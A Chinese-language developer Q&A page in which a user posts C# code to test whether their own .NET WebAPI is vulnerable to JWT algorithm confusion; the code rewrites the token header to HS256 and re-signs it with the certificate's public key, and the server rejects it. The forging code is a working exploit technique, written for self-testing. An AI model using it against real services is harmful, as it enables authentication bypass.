首页 > 解决方案 > C# 审查中的 JSON Web Token 漏洞测试

问题描述

我试图检查 .NET Framework 4.5 的 WebAPI 中的 JWT 令牌承载支持是否存在https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/报告的漏洞。因此,我编写了以下代码,该代码采用现有的有效 JWT 令牌,操作标头,使用证书公钥重新生成签名并将其重新发送到服务器。

    private static string TestSecurityVulnerability(string originalToken)
    {
        var parts = originalToken.Split(new[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
        var headerPart = Encoding.UTF8.GetString(Convert.FromBase64String(parts.First()));
        var payloadPart = Encoding.UTF8.GetString(Convert.FromBase64String(parts.Skip(1).First()));

        dynamic headerJson = JsonConvert.DeserializeObject(headerPart);

        headerJson["alg"] = "HS256";
        headerJson["kid"] = 0;
        var tamperedHeaderEncoded = Base64UrlEncode(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(headerJson)));

        var cert = Certificate.Load();
        var publicKey = cert.PublicKey.EncodedKeyValue.RawData;
        var base64PublicKey = Convert.ToBase64String(publicKey); //Not using it but great for verifying if token is "valid"


        var sha = new HMACSHA256(publicKey);
        var newSigBinary = sha.ComputeHash(Encoding.UTF8.GetBytes(tamperedHeaderEncoded + "." + parts.Skip(1).First()));
        var newSigEncoded = Base64UrlEncode(newSigBinary);

        return string.Join(".", tamperedHeaderEncoded,
            parts.Skip(1).First(),
            newSigEncoded);
    }

    // from JWT spec
    private static string Base64UrlEncode(byte[] input)
    {
        var output = Convert.ToBase64String(input);
        output = output.Split('=')[0]; // Remove any trailing '='s
        output = output.Replace('+', '-'); // 62nd char of encoding
        output = output.Replace('/', '_'); // 63rd char of encoding
        return output;
    }

至于Certificate.Load(),它所做的只是查找我在 IdentityServer 上使用的证书来签署令牌,并返回System.Security.Cryptography.X509Certificates.X509Certificate2证书(带有公钥和私钥的 PFX)。

我还检查了 的值base64PublicKey以查看 base64 版本的公钥是什么,以将其用作256-bit-secretjwt.io 上的。

我的问题是,我做的一切正确吗?我已经在https://jwt.io/上检查了我的解决方案,从我正确签署 JWT 的角度来看,这似乎是合法的,但我不知道我是否正确提取了证书。要是有一双眼睛看透这件事并告诉我,那就太好了。

PS 在我当前的测试中,服务器返回说“未经授权”;-)

标签: c#securityjwt

解决方案


推荐阅读